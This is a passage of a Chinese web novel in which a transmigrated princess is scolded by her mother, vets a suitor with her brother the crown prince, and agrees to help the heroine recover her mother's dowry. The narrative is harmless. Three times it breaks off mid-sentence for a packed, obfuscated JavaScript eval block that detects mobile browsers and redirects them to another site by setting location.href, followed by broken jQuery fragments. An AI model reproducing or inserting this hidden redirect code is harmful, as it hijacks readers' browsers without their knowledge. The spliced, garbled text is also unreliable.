崔玉凝不明白为什么章贵妃会对她去京畿大营如此大动干戈,一定要把她叫进宫教训。
她试探着开口:“阿娘,为什么不能去京畿大营啊?”
章贵妃恨铁不成钢地剜她一眼,“京畿大营是什么地方?你凭什么去?”
崔玉凝梗着脖子:“我只是陪表姐看表哥……”
章贵妃蓦地起身,一指头戳在她额上。
“我章铮瑜怎生出你这个笨东西!你表姐是去探亲,你呢?你去,那叫结党!”
崔玉凝倏然噤声。
公主。
她是公主。
章贵妃压低了嗓音,一字一句教她:“如今是你父皇在位,他知道你没那个意思。可往后呢?待你兄长继位,你还这般行事,可有人替你剖白?”
“别以为你和你皇兄关系好他就会一直包容你,皇权面前哪有亲情?”章贵妃继续说,“不然你那些叔伯姑母怎会如此。”
崔玉凝怔在原地,终于明白章贵妃为什么一定要叫自己过来。
听人劝,吃饱饭。阿娘是为她好。
“要我说你还是嫁给裴则最好,他与太子一起长大情同手足,做事有分寸,最重要的是他管得住你。”
章贵妃越说越满意裴则,还是见崔玉凝脸色不好,才叫若梅若琴从一旁的小书房捧出两大摞画轴。
崔玉凝眼皮跳了跳,有种不好的预感。
果然,下一刻章贵妃就开口了。
“这是阿娘和你母后为你挑选的一些还不错的世家公子。”章贵妃拿起顶上的一卷,在她面前展开。
看着画卷,崔玉凝不禁感慨画师画技超群,人像栩栩如生。
章贵妃觑她神色,心下了然,笑了笑。
“这是吏部尚书家的小公子,行三,叫……”说着章贵妃又看了一眼画上的名字,“叫顾秉。”
“如何?”章贵妃打趣,没有人比她更了解她的女儿了,这幅神情只有见裴则的时候出现过。
崔玉凝原本还因为措手不及有些反感,看到画像突然就释然了,小公主的阿娘是全世界最爱小公主的人,别说是几十个人,就算是几万个人,章贵妃都会仔仔细细从里面给小公主选出最好的。
崔玉凝点点头,“阿娘,他很好看。”
这个顾秉看起来就温润如玉,从画像看不输裴则,比她穿来后见过的大多数人都要好看。
闻言章贵妃轻笑出声,一副果然如此的表情:“好,那过些时日叫他来给你见上一面,到时候你若是满意,就请你父皇赐婚。”
崔玉凝反问:“您刚刚不还说裴则最好,怎么又选中他了?”
章贵妃白了她一样:“你不是不喜欢裴则,阿娘还能逼你?”
“这个顾秉脾性与你相合,跟裴则全然不同,皇后娘娘和我都觉得他能与你玩在一起。”章贵妃解释。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211494|197419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
崔玉凝不以为意的点点头,见章贵妃被哄好了,她就想脱身去找皇帝。
距离她落水一事已经过去已经快过去小半个月了,皇帝一直帮她拖着裴家,不知道皇帝还能拖多久,没有皇帝的准话她还真的不安心。
“去含元殿?”章贵妃看穿她。
“什么都写在脸上。”章贵妃给崔玉凝递了一盏凉茶,“你父皇这几日为南方大旱的事烦着呢,你多关心关心他,别上来就提赐婚。”
“……是。”崔玉凝乖乖应声,心里想的却是南方大旱。
这几日天气的确热得不寻常,只是听到这南方大旱才对“热”有了实感。
小说世界紧密联系着,每时每刻都有事情在发生。
见崔玉凝发呆,章贵妃摆摆手让她走了。
……
含元殿。
确认殿内无人议事,崔玉凝从迈步进门。
皇帝坐在御案后头处理奏折,崔玉凝进来的时候头都没抬。
“被你阿娘训了?”皇帝沉沉开口。
崔玉凝无语凝噎,这后宫还真是没有秘密……
“京畿大营的事。”皇帝批完一本折子放在一旁,又拿了一本新的,顿了顿:“你阿娘没冤枉你。”
崔玉凝低下头,没说话。她今天进宫就是来挨训的。
过了许久,皇帝放下奏折,看向崔玉凝,叹了口气:“知道错了就好。”
“父皇……”
“裴家那孩子,你确定不喜欢了?”皇帝问。
这话来得突然。
崔玉凝抬起头,对上皇帝的目光。
心头一颤。
小公主从来都没有不喜欢裴则,她不喜欢也只是因为不敢喜欢小说男主……
等等!
再这样下去,她就要因为太愧疚忘记自己的目的了。
甩开那些乱七八糟的想法,崔玉凝肯定地点头:“父皇,我真的不喜欢裴则了!”
皇帝看着她,说:“裴则求娶你,朕晾了裴家小半个月,今日你来朕便给你个准话。”
“等你的婚事定下来,朕就给裴则赐婚。”皇帝顿了顿,“南方大旱,就让聿修带人去赈灾吧。”
闻言,崔玉凝一惊,裴则只是翰林院编修,赈灾一事哪里轮得到他:“父皇……”
她想问,可话到嘴边又不用问出口了,她也没那么笨。
……
崔玉凝离开含元殿的时候有一瞬失神。
一切都很顺利。
虽然她也不知道自己在做什么,但是最开始远离裴则的目的兜兜转转已经实现了。
走下台阶,一个高大的身影挡在身前。
崔玉凝抬头看。
又是裴则。
“皇上找我议事。”靠得太近了,崔玉凝甚至能感受到裴则的胸腔震动。
崔玉凝疑惑:“你跟我说这些干什么?”
“公主刚刚问的。”裴则淡淡答道。
见崔玉凝愣神,璎珞急忙附在她的耳边把刚刚的话轻声告诉她。
“哦。”崔玉凝沉默,想到她跟裴则再也没有关系了,随即又露出一个灿烂的笑容:“祝裴大人一路顺风。”
很久不见小公主的笑容,裴则一怔。
心间一转,虽然不可置信,但也猜到皇上找自己是什么事了。
裴则勾唇讥讽一笑:“那就多谢晏宁公主了。”
8. 顾秉
自含元殿门口一别,崔玉凝终于真正过上了公主的爽文人生,没有死亡宣告,也不用再急着找驸马。
崔玉凝天天躺在公主府避暑,期间还指挥着府里的下人趁着清晨凉快在院子里搭了爬架还种了点丝瓜。
一开始她没打算种这些东西,天气太热,她怕活不成。
后来还是她为了写日记翻日历的时候才发现现在才六月末,离立秋还有一个多月,今年热得简直莫名其妙。
公主府有自己的菜圃,丝瓜苗就是璎珞从菜圃园丁那儿匀来的。
苗刚栽下那几日,崔玉凝每日早起第一件事就是去爬架底下看,生怕这些苗都给太阳晒死了。
她甚至不敢对这些小苗抱什么期待,期待越大,小苗死的越快。
万幸的是这些小苗蔫了两天就缓过来,崔玉凝当下就迫不及待地叫人在棚下搭了张躺椅,偶尔傍晚的时候坐在这儿吹吹风。
见她半躺在棚下,琅珠还笑她:“小苗才刚缓过来就得伺候公主了。”
崔玉凝往椅背上一靠,也笑着应声:“在公主府里可不就得伺候公主嘛。”
……
裴则去南方赈灾已有十几日,却一点都没有下雨的征兆。
皇帝能做的都做了,朝臣开始催他开坛祭天,求上天降雨。
崔玉凝身为公主,也被御史盯得紧,不敢享乐,只敢猫在府里。
好在祭祀之前,雨就哗啦啦地降下来了。
雨是半夜下的,夏天的雨总伴随着雷声。
那天崔玉凝在睡梦中被一阵惊雷劈醒。
她迷迷糊糊地睁开眼,听见屋外淅淅沥沥的声音,起初她还没意识到这是下雨了。
还是守夜的两个小丫头在外间压着嗓子,轻声接耳:“下雨了。”“可算下了……”
她这才确认,真的下雨了。
下雨好啊,皇帝不用下罪己诏,大晏的百姓有救了,裴则也可以回来了……
她躺在暗里,听着雨声由疏转密,从檐角瓦当一路哗啦啦地淌下来。
这一刻,心里那根绷了许久的弦终于松了。
裴则是因为她才去赈灾的,书中并没有这一节。
她没有见过灾民,也体会不到干旱的苦。但是她还记得小时候每年暑假都重播的电视剧里,灾民面黄肌瘦甚至要挖土吃。女主角把一个灾民的土给倒了,一群人上来抢……
贪官可以捞油水,可男主是心怀天下的人,他的日子不一定好过。
听着雨声,崔玉凝长长地舒出一口气,翻了个身,安心地阖上眼。
下雨了,再不好过也好过了。
……
第二天起床,府里的小丫头们都很欢喜,下雨了天就凉快了。
几个小丫头围站在廊下看下雨,嘴里还叽叽喳喳地说要去哪里玩。
崔玉凝没管她们,只要当好自己的差,无论是小公主还是她都不曾约束过她们。
她坐在明间,看着女孩子们雀跃的身影,唇角也不自觉染上一抹笑意。
崔玉凝今日要去东宫一趟。
昨天傍晚太子派人过来告诉她今日要见见之前章贵妃和她选定的驸马。
叫什么来着?哦对,叫顾秉。
要不是太子派人来说她已经完全把这件事抛之脑后了。
近日酷暑,南方大旱,身为皇家人,就算做不到与民同苦,那也绝不能耽于享乐,所以什么宴会游乐全部取消,皇后贵妃也没理由随意召见臣子。
最后崔玉凝与顾秉相看一事就被甩到崔璟祁头上了,由太子全权安排。
顾秉没有入仕,一介白身,太子也是磨蹭了半个月才想好理由。
崔玉凝倒是无所谓,反正雨已经落下来了,甚至爱屋及乌地给顾秉先打了个很高的印象分。
-
东宫。
崔璟祁搁下笔,捏了捏眉心。
入夏以来滴雨未落,南方旱成这样,地方官报上来的灾情严重,说庄稼成片成片的旱死,朝廷上下焦头烂额。
父皇却又把裴则派去赈灾,不是他不相信裴则的能力,只是情况复杂……
偏偏裴则一走,母后和章贵妃后脚就催到他这儿来了。
裴则走后,母后就把他召进宫,旁的话没有,只叫他想办法让凝儿同那顾秉见上一面。
顾秉这个人,他是见过的。
他二哥顾川是他伴读,只是顾川说过他这个弟弟被宠坏了,一张脸皮生得很好,也很会撒娇。
但也仅此而已。
身上无功名,也不入仕,就是一个纨绔子弟。除了家世清白,父母兄弟和睦,一张脸拿得出手,剩下没有一点好的。
这样的人,在崔璟祁看来,还不如裴则。
不过母后说凝儿已经点过头了,崔璟祁叹了口气,倍感无奈。
他妹妹喜爱俊俏小生这一点倒是十几年不曾变过。
……
“阿兄~”
崔璟祁头都没抬,光听这声音就知道是谁来了。早上看见降雨的消息还没好好高兴一番,又得处理这些事,也不知道崔玉凝这回来又是来讨要什么的。
崔玉凝直接推开了书房门。
喜乐公公守在门口,他刚刚说,太子殿下等她很久了。
“阿兄是不是等我很久了?”崔玉凝一进门就把喜乐给卖了。
兄妹二人很多天没见面了,崔璟祁政事繁忙,崔玉凝也无妖可作。
崔玉凝从璎珞手里接过小竹篮,往案上一搁:“阿兄,这是凝儿近日种的韭菜,给你尝尝。”
崔璟祁没看清是什么,下意识往后一仰,看清是韭菜后才笑着问:“是你亲自种的?”
当然不是,不过崔玉凝脸不红心不跳,面不改色道:“当然啦!”
崔璟祁没揭穿她,反而笑眯眯:“那一会儿留下来吃晚饭。”
兄妹俩说了几句闲话。
崔玉凝把那篮韭菜往他手边推了推,“阿兄,南方灾情严重吗?”
语气平平像随口一提。
崔璟祁抬眼,端起茶碗,吹了吹浮叶,问:“怎么突然想起问这个了?”
“今日落雨了,我就忽然想起来。”她低着头,手指还在那篮子的提手上绕来绕去,“也不知道那边旱情好些没有。”
崔璟祁默了一瞬,就是因为知道崔玉凝醉翁之意不在酒,他才不想说。
崔玉凝看出他神色不好,放缓了声音,又问:“阿兄,这也不能说吗?”
崔璟祁被妹妹一点,才开口解释:“南方三日前就已经落雨了,只是他还要再等一段时间才会回来。”
崔玉凝也沉默了,她还是问得太明显了。
她转移话题又问:“阿兄,那个顾秉……你见过没有?”
崔璟祁看她一眼,倒也没打趣。
“见过一次。”他搁下茶盏,“顾川是孤的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211495|197419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伴读,之前带他弟弟来过一次,你也见过。”
见过见过又见过,崔玉凝听这句“见过”听得简直要疯,在太子和章舒窈嘴里京城每个适龄男子她都见过,可是小公主记忆库里一个男人都没有。
“哦。”崔玉凝面上不显,乖巧地点点头,又问,“那……人怎么样?”
崔璟祁哼笑一声:“长相么,你见了画就点头答应了,至于其他倒跟你很像,不学无术,成日斗鸡走马……”
说完,他看向崔玉凝。
崔玉凝被看得羞愧,但又理直气壮:“他是要做驸马,只要皮相好就行了!如果跟兄长一样文韬武略样样精通还能做我的驸马吗?”
崔璟祁低头批着面前的折子,似乎根本不在乎崔玉凝在说什么。
窗外蝉鸣阵阵,夏天的活力终于在此刻迸发。
……
喜乐在门外通传,说小顾大人到了。
崔璟祁应了一声,起身把崔玉凝领到内室,让她在屏风后面躲好,这才让人进来。
顾川先进门,身后跟着个少年。
崔玉凝从屏风缝隙望出去。
看着跟裴则差不多年纪,但是眼神里透着清澈,不知道是不是见多了裴则崔璟祁这些心眼子多的,偶尔见到这种眼神清澈的,感觉像在看傻子。
顾秉穿着一身月白色的圆领澜衫,手上还捏着一把折扇,样貌的确极好。
崔玉凝甚至敢断定顾秉就是书里唯一一个能在相貌上跟裴则一较高下的人。
不过裴则的眼睛像深不见底的潭水,顾秉的眼睛却亮得坦荡。
她收回视线。
屏风那头,崔璟祁与顾川叙了几句旧,才把话头转向顾秉。
“你兄长说你读书尚可,”崔璟祁语气淡淡,“孤且问你几题。”
顾秉上前一步,拱手道:“殿下请问。”父亲说过,能被晏宁公主看中对他而言是最好的归宿,所以为了今日,他大哥和他二哥在家给他紧急补习了小半个月。
崔璟祁先问《论语》,又问近日南方旱灾一事。
崔玉凝在屏风后听着,突然就听到了脚步声。
一步,两步,三步……崔玉凝顺着声音看去,是顾川在找她。
她没心思再听太子拷问顾秉,只觉得太子对他的这些伴读都太好了。
裴则也就罢了,现在又来一个顾川,一个两个通通都不把她这个公主放在眼里。
……
“好。”崔璟祁淡淡的说,看不出满意还是不满意。
窗外的雨依旧淅淅沥沥,像是要把过去一个月没下的雨一次补上。
崔璟祁又与顾川闲话几句,就叫喜乐将二人送出去了。
见人走后,崔玉凝从内室出来,问:“阿兄,你觉得他怎么样啊?”
崔璟祁不再掩饰,直白地显出自己的不满:“难堪大用,为了攀上你这根高枝临阵磨枪。”
末了又补上一句:“不快也不光!”
崔玉凝站在他身后瘪了瘪嘴,又问:“那不要他了?”
崔璟祁被问住了,显然母后贵妃还有凝儿三个人都觉得顾秉不错,尤其是母后与贵妃定然是优中选优才选出顾秉的。
难道这偌大的京城还找不到一个比裴聿修更好的人?
思及此,崔璟祁转过身轻轻摸了摸崔玉凝的脑袋,又提起书案上存在感极强的那一篮韭菜:“嗯,不要了,阿兄给你找更好的。”
9. 做公主真是千好万好!
闻言,崔玉凝沉默了一瞬。
合着她哥是看谁都不顺眼啊……
虽然还没到晚膳时间,但东宫的一切都为太子服务。
早在崔璟祁说要崔玉凝留下用饭的时候,喜乐就吩咐厨房准备了。
小膳堂,兄妹二人相对而坐。
崔玉凝带来的一篮子韭菜也炒了盆鸡蛋端了上来,宫人摆膳的时候喜乐特地把这道菜挪到了太子面前。
崔璟祁上午事忙还没来得及用午膳,只是就着水用了点点心,这会儿也不讲究那些虚礼了,筷子没停过。
倒是崔玉凝在讨了东宫的厨子回去后每一顿都吃得很好,来之前还用了一顿丰盛的午膳,这会儿看着面前的大米饭,她根本没胃口。
“不合胃口?”崔璟祁看到妹妹拿着筷子也不吃饭就拨弄着面前的米饭。
“天热,吃不下。”崔玉凝敷衍道,心里想的却是崔璟祁真爱明知故问。
崔璟祁点点头,没认同也没反驳,不再管她。
崔玉凝眼见着崔璟祁又添了一大碗饭,忍不住开口:“阿兄,你今日怎么吃这么多?”
剩下那句“你不是高岭之花不吃饭吗”被她默默咽下,上回跟他们俩人一起吃饭的时候她就奇怪只吃那么几口怎么能长得这么高大,果然只是在她面前装蒜,其实私底下每顿饭都要吃一盆。
想到面如谪仙的裴聿修私底下每顿饭都要吃一盆就忍不住笑出声来。
谁料她这副按捺不住笑意的模样被崔璟祁看在眼里,加上前面那句问话,他还以为妹妹是在笑话他,当即正色道:“阿兄一天没吃饭,多吃两口也是人之常情。”
崔玉凝点点头,见崔璟祁也已经吃完了,就顺势放下筷子,站起身:“阿兄,我要先回去了,这个顾秉的事你替我跟母妃去说!”
她当机立断把这件事的责任转嫁给本次相亲活动的负责人,说实话她真不想再被章贵妃叫进宫挨训了,横竖这次是崔璟祁不满意在先。
崔璟祁没说话,只是轻轻“嗯”了一声,做兄长的总是要为妹妹尽责,找个合适的真正能与妹妹相伴一生的人才好。
-
崔玉凝从东宫离开的时候日头已经西斜,她不会看太阳辨别时间,只当天光大亮就不算晚,叫车夫绕道去了趟樊楼。
樊楼不仅是大晏最富盛名的酒楼,最繁华的娱乐场所,这里的点心也是一绝。
崔玉凝对点心研究不多,但比起公主府里做出来的甜点,樊楼里的东西每一样都甜而不腻,让人流连忘返。
如果不是大晏没有打发奶油的食用方法,她相信樊楼在做蛋糕这件事上也是不遑多让的。
马车驶过长街,崔玉凝靠在车壁上。
如果不是璎珞阻止,她还挺想抱着小冰盆的。
她从东宫出来的时候雨已经停了有一会儿,现在热气蒸腾上升,空气里透着一股闷闷的潮意。
樊楼还是老样子,门庭若市。
崔玉凝的马车停在离樊楼有一段距离的地方,璎珞自觉下车,她还靠在车壁上百无聊赖。
车夫停车的地方僻静,她掀开一点帘子,车外人来人往,下过雨后不仅是他们,好像所有人都松快了。
璎珞提着三盒点心从樊楼出来了,这是她点名要的。
樊楼点心种类繁多,她每样都想尝尝。
做公主的好处就是每样都能买上一两份,吃不完还有很多人可以一起分担。
想到这里崔玉凝心里又美了,做公主真是千好万好!
-
璎珞上车后,迫不及待打开点心盒子给崔玉凝介绍起来。
对了,忘了说樊楼点心的销售模式了。
樊楼的老板简直就是销售天才,每一旬售卖的点心都是不同的,如果想吃到樊楼的每一种点心那就每一旬都不能错过。
这一旬还是崔玉凝第一次出来买点心,璎珞自然就迫不及待地给她介绍起来了。
“殿下,这一旬樊楼主推的就是这蜜桃塔,店小二说许多府上都遣人来买呢。”璎珞从一个盒子里拿出一块蜜桃塔递给崔玉凝。
崔玉凝早先就怀疑樊楼的经营者,这会儿看见这个蜜桃塔心中的疑惑几乎要坐实了。
怎么会这么像蛋挞?上面的桃子丁粉嫩诱人,崔玉凝没忍住直接一口咬下,唇齿留香。
这就是水蜜桃蛋挞!
“樊楼有没有卖过蛋挞?”樊楼的点心单子一旬一换,之前有没有卖过蛋挞崔玉凝根本就不知道。
璎珞被公主忽然严肃的神情怔住,呆呆地摇了摇头:“公主,奴婢不知道。”
崔玉凝看着璎珞呆呆地表情,怜爱地摸了摸她的头。差点忘了璎珞她们几个天天和小公主待在一起,哪里有功夫打听樊楼卖什么点心。
崔玉凝在心中暗自叹了口气,就算樊楼背后的老板真是现代人她也不能随便认亲。
-
马车辘辘,却突然停下了。
璎珞一把掀开帘子,正要说车夫几句,却见车前有两名女子被推到在地。
看穿着打扮似乎是谁家小姐和她的贴身婢女,有了这个初步判断,璎珞故意将帘子掀得更大一些,好叫崔玉凝看清马车外的情形。
若是刚穿来的时候崔玉凝定然是不懂的,不过现在她与琅珠璎珞她们都有十足的默契。
崔玉凝向外看去,可怜兮兮的主仆二人在马车跟前却没有一点要起身或是挪动的意思,她不禁生出一丝厌恶,怕不是早早看见她的车架等着讹人吧。
璎珞见公主皱起眉,轻轻扯了一下崔玉凝的衣袖,用口型说:“顾府。”
崔玉凝看到了璎珞的口型,跟着学:“五福?”
“顾府!”崔玉凝心下一惊,得来全不费工夫,只是面上依然波澜不惊,淡淡道:“璎珞,你去问问她们出了什么事。”
“是。”璎珞推开门下了车。
作为大晏最尊贵的公主的婢女,无论在内如何,在外都是气势十足。
“这位姑娘为何拦住我们的路?”璎珞冷着脸问。
那位小姐没动,只是低着头,倒是小丫头像被吓了一跳。
“不说话?”璎珞等了一会儿却没等到回答,没了耐心,“徐树,从她们身上轧过去。”
“好嘞,璎珞姐姐。”徐树应得爽快。
这种事他最有经验,公主身份尊贵总有人想攀高枝,用些搬不上台面的手段。
后来琅珠姐姐就想了这么个办法,只要说“从身上轧过去”,他就驭马踩上一脚。
不过大多数人听见这句威胁都会自己挪开,包括今日这个躺在马车前的小姐。
只见那位小姐终于起身直挺挺地跪在马车前:“求晏宁公主替臣女做主!”
崔玉凝已经在马车里看了许久的戏,根据璎珞的暗示,这位就是顾家的小姐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211496|197419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,可是顾家小姐这么多,这位又是谁?
璎珞站在车前瞥见周围人渐渐多了起来,心里暗道不好,把这个拦车的小姐在心里鞭挞了几百回。
有事说事,非要高声喊,把周围的人都喊出来了,现如今公主是帮还是不帮?
“这位小姐有冤情,该去大理寺。若实在没法子,还能敲登闻鼓。私自拦下公主车驾,又是何意?”璎珞的声音夹带了怒气。
所有人都觉得公主良善可欺就蹬鼻子上脸,有胆子拦她家公主的车架怎么没胆子拦太子车架!
“臣女顾因,因家中……”
“璎珞,把人带上来!”崔玉凝出声打断,是女主就好办了,虽然不清楚到底发生了什么,不过帮助女主解决问题总不会有错。
更何况她现在可是公主,虽然心计谋略玩不过裴则他们,但是以权压人解决问题还是挺容易的,否则女主怎么会求到她这里。
崔玉凝这样美滋滋地想着帮女主解决问题,等裴则回来再介绍两个人认识,这样两人一成婚,裴则就管不着她,更不会让她去死了。
顾因上车后先是行了一礼,璎珞知晓这位应当就是叫公主好奇的小姐,也不像刚刚那么不满了。
崔玉凝端坐在车上,就好像这是长乐宫主殿一样。
为了维持公主的威严,崔玉凝特意没有说话,直到回了公主府也没有跟顾因说一句话。
不说别的,如果顾因不是女主,她真的会讨厌这种行事风格。
所以她要晾一晾她,免得女主得寸进尺,又干出这种故意把公主架起来的事。
“殿下,您不是对顾家的人很好奇吗?何不叫来问问。”琅珠跟在崔玉凝身后问。
崔玉凝撇了撇嘴:“肯定不是什么大事,大事求太子求大人都比求本公主靠谱。”
琅珠不喜欢公主这么说自己,但事实的确如此,公主做什么事都被管着,也没有独立办过事。
上次跟着表小姐去京畿大营还马不停蹄地挨了贵妃的骂。
主仆二人同时叹了口气。
-
公主府西苑。
顾因和小桃跟着崔玉凝回府后就被安排在这里。
小桃四处打量一圈后,撇撇嘴角:“小姐,这里就是公主府吗,我觉得还不如我们顾府呢!”
顾因坐在桌牌,呷了口茶,淡淡制止道:“别瞎说,我们还要请晏宁公主帮忙呢。”
小桃福了福身:“是。”
随即又问:“小姐,为什么公主请您上车却不让你说出来呢,现在还不见您,她会不会就这样把我们晾在这里彻底不管了啊?”
顾因瞥了眼在屋里转来转去的小桃,语气笃定:“不会的,晏宁公主是很好的人,她会帮我的。”
这回顾因从家里出来原本是想找外祖家帮忙,却没想到被人推了一把,刚好遇上晏宁公主。
她听过小公主的事迹,虽然小公主只知道吃喝玩乐,可也最是仗义执言之人,看见小公主车架过来的时候,她只犹豫了片刻就决定要求公主帮忙。
-
第二天,崔玉凝让人将顾因请到了正厅。
她坐在上首,心里想着晾了一夜应当卓有成效。
昨晚她特地把自己记下来的小说剧情拿出来看了,根本就没有什么女主向公主求助的情节,也不知道剧情歪成什么样了,才会让顾因迫不得已到要求助晏宁公主。
10. 女主
屋外雨声沥沥,自打昨天下过雨后,这天就像破了个口子,一直下个不停。
殿内的氛围也像这天气一般,阴沉沉的。
崔玉凝端坐上首,抬眼看着跪在下面的顾因主仆。
她真的很好奇为什么她们一进来就跪在那里,还一直不说话。
这算怎么回事儿?
某一瞬间她甚至觉得自己从炮灰女配变成恶毒女配了。
两方僵持许久,久到她开始数窗外的蝉鸣打发时间,终于,她忍不住开口:“顾小姐,你到底有什么事?”
声音不高不低,却在殿内显得格外清晰。
顾因的身子微微一僵,顿了顿,才缓缓抬起头。
崔玉凝看着她眼眶微红,心中暗暗感慨,不愧是女主,果然美貌。
顾因咬了咬下唇,声音里还带着点哭腔:“请公主殿下恕罪,臣女事出有因。”
说完这句话,她又顿了顿,抬头看了一眼崔玉凝,似乎是期待着崔玉凝能搭句话。
崔玉凝没催她,只是静静看着。
“臣女是兵部侍郎顾越的三女。”顾因的声音渐渐稳了下来,“生母亡故后,父亲续娶了继室梅氏。那梅氏与父亲一道,强占了我母亲的嫁妆。”
她说到这里,再次直直看向崔玉凝,眼眶红着:“臣女此番前来,是想求公主做主,帮我夺回母亲的嫁妆。”
殿内又安静下来,只剩下窗外淅淅沥沥的雨声。
崔玉凝沉吟片刻……这事儿她倒是有印象,只是最后女主怎么解决的来着?小说里她找人求助了吗?
但小公主没办过事啊,她也不知道怎么办,崔玉凝只好问:“那你想让我怎么办?”
顾因没想到晏宁公主会问出这种问题,意外的神情都写在脸上了。
“我知晓公主仗义执言,做事公正……”
……
崔玉凝听完,一时无言。
好话都被说完了,那她能怎么办。
她本人是最讨厌这种瞎话的,以前她老板叫她免费辅导小孩功课的时候也是这套词。
要不是眼前跪着的这位是女主,她真的会让她走。
可是女主能有什么坏心思呢?
崔玉凝转念一想,很爽快地点了头,语气轻描淡写:“行了,我知道了,你先回去吧。”
顾因愣了一瞬,似乎没想到这位公主答应得如此干脆,随即又是深深一叩首,声音里带着压不住的欣喜:“多谢公主殿下!”
主仆二人退出殿外,渐渐消失在雨幕里。
正厅重新安静下来,只剩下崔玉凝和琅珠几人。
“殿下!”琅珠第一个憋不住,凑上前来,一脸急切,“您怎么就这么答应她了?”
璎珞也赶紧跟上,脑袋点得像小鸡啄米:“就是就是,殿下,她那话听着是不错,可我怎么觉得……怪怪的?
崔玉凝抬手止住她们:“行了,不过一件小事,帮就帮了。”
说完,她转身向内室走去,留下琅珠和璎珞两个人面面相觑。
-
崔玉凝独自歪在美人榻上,盯着茶盏发呆。
她穿着一件轻薄的外衫,窗外细雨未停,屋内冰鉴还是前几日的配置,一时间还怪冷的,她打了个寒颤。
一件小事,帮了就帮了……
她在心里又把这句话过了一遍,明明自己刚刚说这句话的时候还挺洒脱的。
……可问题是,怎么帮?
她慢慢皱起眉,手指无意识地绕着外衫的系带打转。
难道直接上顾府讨要吗?
可她是公主啊,这样随便去臣子的家里撒泼肯定不行吧。
到时候章贵妃肯定又要骂她,而且被御史台的那些人知道了她绝对会被弹劾!
到时候父皇也要骂她,皇后也要骂她,皇姐也要说她。
那要不……写封信?写给顾侍郎本人,说“听闻你霸占亡妻嫁妆,速速归还”?
或者……找个中间人?可她认识谁啊?能帮小公主办事的就那么几个人,谁愿意掺和这种家务事。
到底要怎么自然地插手别人的家事啊?
崔玉凝越想越头疼,索性一把把自己摔到床上,把脸埋进软枕里。
忽然,她又想到了崔璟祁。
她掰着手指头数了数,发现这一个月来,她好像已经麻烦过他四五回了。
谁让太子是她哥呢?
崔玉凝心安理得地想。
她翻了个身,仰面望着床顶,嘴角慢慢弯起来。
崔璟祁才是真正的机器猫,无论她想做什么都会帮她的。
……
下午,雨势渐小,崔玉凝特意从樊楼绕了一圈,按照崔璟祁的口味挑了几样点心。
东宫门口的侍卫远远瞧见晏宁公主的马车,早早就候着了。
没怎么查就放行了。
崔玉凝步履轻快地穿过回廊,熟门熟路地推开崔璟祁书房的门:“阿兄,我给你带了樊楼的点心。”
崔璟祁天天都在书房,政事好像无论如何都处理不完似的。
崔璟祁早在崔玉凝进东宫大门的时候就收到消息了,心里欢喜,但面上还是严肃:“凝儿,怎么越来越没规矩了!”
崔玉凝撇撇嘴,拎着食盒凑过去,语气里带着几分撒娇的意味:“阿兄,我日日都来,还要什么规矩?”
崔璟祁抬眼瞥她一下,没接话。
崔玉凝把食盒往案角一放,凑到他身侧,笑嘻嘻地看他的脸色。
看到这副讨好的笑,崔璟祁也不绕弯子,直接问:“说吧,今日又有什么事?”
“阿兄,昨日我从你这里回去以后,救了一个可怜的女孩。”
崔璟祁没应声,继续面不改色地批阅面前的折子,对妹妹有求于他的姿态十分受用,放任崔玉凝绘声绘色手脚并用地表演。
期间,崔玉凝的袖子差点把案上的茶盏扫落,崔璟祁余光瞥见,不动声色地把茶盏往远处挪了挪。
崔玉凝也注意到崔璟祁的动作,自觉应该表示表示,便绕到他右手边,伸手去拿墨条。
“阿兄,我给你磨墨。”
崔璟祁正要蘸墨,被她伸过来的胳膊一挡,只得默默把手缩回去,往旁边避了避。
崔玉凝的磨墨手法实在说不上专业,下手没轻没重,墨条磕在砚台上叮当作响,几滴墨汁溅出来,差点溅到她自己的袖口。
崔璟祁瞥了一眼她的手,又看了看砚台里那摊深浅不一的墨汁,忍了忍,到底没说什么,只默默把折子往自己这边挪了挪。
崔玉凝毫无察觉,一边磨墨一边继续念叨:“阿兄,你说这事儿怎么管才好?我总不能直接上顾家要钱去吧……”
崔璟祁眼皮都没抬,把手中批阅完的折子摆到另一侧,才缓缓开口:“顾越不过是个庸庸碌碌之辈,靠着祖上荫蔽做了个官,没有做事实的能力。”
“怎么没有,他不是把原配的嫁妆给占了吗?”崔玉凝小声反驳。
“孤的意思是他恃强凌弱,你过几日办个宴会,多照顾一下这位顾家小姐,顾小姐有了你这个依仗,自然就能夺回嫁妆。”崔璟祁怕崔玉凝听不明白特地解释。
“又要办宴会?”崔玉凝有些不满,忽而又想到一个主意,“能不能我给顾小姐一个什么信物,让她能借我狐假虎威?”
